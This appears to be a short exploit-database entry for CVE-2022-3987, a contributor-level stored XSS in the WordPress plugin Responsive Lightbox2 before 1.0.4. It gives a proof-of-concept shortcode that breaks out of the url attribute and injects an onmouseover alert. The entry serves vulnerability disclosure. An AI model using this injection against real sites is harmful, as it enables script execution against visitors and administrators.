Exploit for Responsive Lightbox2 < 1.0.4 - Contributor+ Stored XSS CVE-2022-3987

Name: Exploit for Responsive Lightbox2 < 1.0.4 - Contributor+ Stored XSS CVE-2022-3987
Rating: 5 (124 reviews)

2022-11-22 | CVSS 5.4

## https://sploitus.com/exploit?id=WPEX-ID:D9309A09-34BA-4E56-B683-E677AD277B29
As a contributor, put, the following shortcode in a page/post

[lightbox2 url='" onmouseover=javascript:alert(/XSS/) "']

The XSS will be triggered when viewing/previewing the page/post and moving the mouse over the "Click Here" text in the post